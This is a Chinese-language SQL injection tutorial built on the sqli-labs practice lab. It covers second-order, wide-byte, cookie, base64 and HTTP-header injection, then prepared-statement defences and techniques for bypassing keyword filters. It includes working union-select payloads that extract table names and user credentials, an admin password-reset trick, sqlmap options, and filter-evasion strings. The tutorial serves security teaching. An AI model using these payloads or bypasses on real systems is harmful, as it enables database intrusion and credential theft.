草庐IT

Web漏洞-SQL注入(下)

Ays.Ie 2023-04-03 原文
06、二次注入

二次注入是将攻击语句写入数据库后,等待其他功能从数据库中调用攻击语句,在其他功能语句拼接的过程中未做有效过滤从而造成sql注入

流程:

  • 攻击者第一次提交恶意输入数据

  • 恶意输入数据被存入数据库中

  • 攻击者二次提交输入

  • 为了响应第二次的输入程序查询数据库取出恶意的输入构造sql语句从而形成二次注入

靶场:sqli-labs-master-24可以去实验

代码分析:

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
	//print_r($row) ;

这边用户名和密码都做了转义\,转义符\在存入数据库的时候会被还原,这边不存在sql注入

if (isset($_POST['submit']))
{
	

# Validating the user input........

	//$username=  $_POST['username'] ;
	$username=  mysql_escape_string($_POST['username']) ;
	$pass= mysql_escape_string($_POST['password']);
	$re_pass= mysql_escape_string($_POST['re_password']);
	
	echo "<font size='3' color='#FFFF00'>";
	$sql = "select count(*) from users where username='$username'";
	$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
  	$row = mysql_fetch_row($res);

这边也可以看到存在函数转义,所以也不存在注入点

if (isset($_POST['submit']))
{
	
	
	# Validating the user input........
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);

修改用户代码的时候获取用户名,没有过滤,之前可以新注册一个admin'#的用户,这里就是二次注入的点

在注册时,是有转义符的,就会将admin'#存储到数据表中

insert into users ( username, password) values("admin\'#", "123")

更新密码执行的语句为:

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='123'

#号后面的语句被注释-最终执行的语句为以下-因此修改的是用户admin的密码

UPDATE users SET PASSWORD='123456' where username='admin'

这样就造就了二次注入

07、宽字节注入

宽字节注入是通过编码绕过后端代码的防御措施,例如:正则过滤和转移函数转义

客户端采用GBK编码格式,数据库对用户输入进行转义\,转义符\的编码为%5c,添加编码%df,组成%df%5c,表达为繁体字連,从而绕过转义符让'逃逸

GB2312、GBK、GB18030、BIG5等都是宽字节,宽字节的安全问题是使ASCII(一字节)变成宽字节

mysql的转移函数:
addslashes,mysql_real_escape_string,mysql_escape_string等
#可以输入show create database 数据库名 查看数据库编码格式

注入的思路:

  • 尝试出注入类型为宽字节注入

  • 构造GBK编码使转义失效,使得’逃逸

  • 查询库名,表名,字段名,然后是数据,结合union查询搞组合拳出击

?id=-1%df%27 union select 1,database(),user() --+  #注出数据库名和用户
?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #查询表名
?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,3)),database() --+ #查询users中的字段名
?id=-1%df%27 union select 1,(select username from users limit 7,1),(select password from users limit 7,1) --+ #取出一组数据,取出全部用group_concat(username,password)

代码分析:

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

前端传入参数id,后端利用mysql_real_escape_string()对参数id的值进行转义,数据库的编码格式为GBK为宽字节,转义符\(%5c)为一字节,可以再添加一字节编码(%df)构造GBK编码(%df%5c)使转义符失效,从而可以闭合sql语句中id='$id',使得语句可以执行。

08、Cookie注入

Cookie处存在注入点,后端对Cookie没有过滤,如果用sqlmap去跑的话,需要设置--level 2 --cookie " "

思路:

  • 判断cookie注入的类型:数字还是字符

  • 判断字符型后开始判断是否存在注入点

  • 存在注入点后判断字段数联合union注入

  • 后续就是之前正常的思路了

代码分析:

if(!isset($_POST['submit']))
    {
            
            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo '<br><br><br>';
            echo '<img src="../images/Less-20.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>";    
            echo '<font color= "cyan" font size="4">';    
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "</font><br>";            
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
            
            
            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
            $result=mysql_query($sql);
            if (!$result)
                  {
                  die('Issue with your mysql: ' . mysql_error());
                  }

这边看到对cookie没有做任何过滤处理手段,直接从前端接受参数带入数据库查找

09、Base64注入

Base64和其他注入其实差不多,就是多了base64编码和解码,sqlmap去跑的话设置 --tamper base64encode.py --level 2

直接上代码分析:

if(!isset($_POST['submit']))
		{
			$cookee = $_COOKIE['uname'];
			$format = 'D d M Y - H:i:s';
			$timestamp = time() + 3600;
			echo "<center>";
			echo "<br><br><br><b>";
			echo '<img src="../images/Less-21.jpg" />';
			echo "<br><br><b>";
			echo '<br><font color= "red" font size="4">';	
			echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
			echo "</font><br>";	
			echo '<font color= "cyan" font size="4">';	
			echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
			echo "</font><br>";			
			echo '<font color= "#FFFF00" font size = 4 >';
			echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
			echo '<font color= "orange" font size = 5 >';			
			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
			$cookee = base64_decode($cookee);
			$cookee1 = '"'. $cookee. '"';
			echo "<br></font>";
			$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
			$result=mysql_query($sql);

这边发现在接受cookie时,只是简单的base64_decode()函数解码,没有其他的过滤手段,直接代入数据库查询了

10、XFF注入

http头部注入的一种,头部参数X-Forwarded-for代表客户真实ip,修改其值伪造客户端IP,原理和其他注入点一样,换了个方式而已

如果抓包发现没有X-Forwarded-for字段,那就自己添加

如果用sqlmap去跑,需要将抓到的数据包里加入X-Forwarded-for字段后,利用sqlmap -r 去读取该数据包

可以利用这个注入点联立union进行数据的爆破

11、User-Agent注入

http头部注入的另一种,在字段User-Agent处存在注入,可以尝试判断时哪种类型的注入方式

当使用sqlmap工具的时候要在数据包中加入User-Agent:*

代码分析:

$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
      	if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}

可以看到User-Agent,账号密码处都有过滤机制,在User-Agen处没有过滤机制,因为数据库的查询结果不会输出到页面,而报错可以输出,所以使用报错注入。

12、Referer注入

referer是HTTP请求头Header的一部分。referer会告诉服务器该请求是从哪里来的,服务器基于可以获得一些信息处理.。同时,referer注入也是http头部注入的一种。

它的原理其实和User-Agent的原理是一样的在这就不赘述了。

SQL注入防御

1、预编译

最佳方式使用预编译语句,绑定变量,预编译可以减少编译次数和连接次数,提高数据库效率。

注:预先编译好,固定sql语句的语法结构,不论用户输入什么,sql语句的固定形式不会更改,只会当作字符串参数输入,不能对固定sql语句语法结构进行更改。

例如:

<?php
  $stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
  print_r($row);
}
?>
2、检查数据类型

这种方式是数字型注入的极好防护方式,在java中可以忽略数字类型注入,因为需要声明参数类型,在php、asp中没有强调要求处理数据类型,故会自动判断数据类型,从而造成sql注入。

3、过滤危险字符

利用正则表达式匹配危险字符,例如:union、sleep、load_file等,如果匹配到,则退出

4、使用安全函数

在接收用户输入时添加安全函数。

例如:

php安全函数:
addslashes 返回字符串,该字符串为了数据库查询语句等的需要在某些特殊字符前加上了反斜线。这些特殊字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
htmlspecialchars把HTML中的几个特殊字符转义成HTML Entity(可以预防XSS)
& (AND) => &amp;” (双引号) => &quot; (当ENT_NOQUOTES没有设置的时候)‘ (单引号) => &#039; (当ENT_QUOTES设置)< (小于号) => &lt;> (大于号) => &gt;
mysql_real_escape_string会 调用MySQL的库函数mysql_real_escape_string,对(\x00), (\n), (\r), (), (‘), (\x1a)进行转义,即在前面添加反斜杠(),预防SQL注入。

SQL绕过:

1、绕过空格、引号、逗号、比较符号、注释符号、等于号等

在注入时空格不能使用,绕过空格:

注释符绕过空格,注释符/**/代替空格
select/**/user,passwd/**/from/**/usrs; 
采用括号代替空格,时间盲注用的多
sleep(ascii(mid(database()from(1)for(1)))=109)
%a0代替空格

绕过引号:

十六进制绕过

select group_concat(table_name) from information_schema.tables where table_schema='security';
select group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720

绕过逗号:

from for绕过
select substr(database(),1,1);
select substr(database() from 1 for 1);
offset绕过
select * from users limit 0,1;
select * from users limit 0 offset 1;

绕过比较符号:

select * from usrs where id=1 and ascii(substr(database(),0,1))>64;		
select * from usrs where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
greatest()返回最大值,least()返回最小值

绕过注释符号 - 注释符号达到闭合效果,使用代码闭合符号代替注释符,例如“

绕过等于号 = 使用like,rlike,regexp等

2、绕过关键字

关键字有:union、select、where等

使用注释符绕过:

常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
sel/**/ect * from users un/**/ion select passwd from emils wh/**/ere limit 0,1;

使用大小写绕过:

select * from users UnIon select passwd from emils WheRe limit 0,1;

使用内联注释绕过:

select * from users /*!union*/ select passwd from emils /*!where*/ limit 0,1;

使用双写绕过:

select * from users unUnionion select passwd from emils where limit 0,1;

可以通过所学的知识去sqli-labs-master靶场里实验,只有不断地去实战才能掌握所学的知识!

有关Web漏洞-SQL注入(下)的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. Hive SQL 五大经典面试题 - 2

    目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类

  3. sql - 查询忽略时间戳日期的时间范围 - 2

    我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时

  4. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  5. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作? - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  6. sql - 在 Rails Console for PostgreSQL 的表中显示数据 - 2

    我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有

  7. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

  8. ruby-on-rails - 如何在 Rails 中的不同数据库上执行直接 SQL 代码 - 2

    我正在编写一个Rails应用程序,它将监视某些特定数据库的数据质量。为了做到这一点,我需要能够对这些数据库执行直接SQL查询——这当然与用于驱动Rails应用程序模型的数据库不同。简而言之,这意味着我无法使用通过ActiveRecord基础连接的技巧。我需要连接的数据库在设计时是未知的(即:我不能将它们的详细信息放在database.yaml中)。相反,我有一个模型“database_details”,用户将使用它来输入应用程序将在运行时执行查询的数据库的详细信息。因此与这些数据库的连接实际上是动态的,细节仅在运行时解析。 最佳答案

  9. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  10. Ruby:映射和注入(inject)之间的区别 - 2

    在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这

随机推荐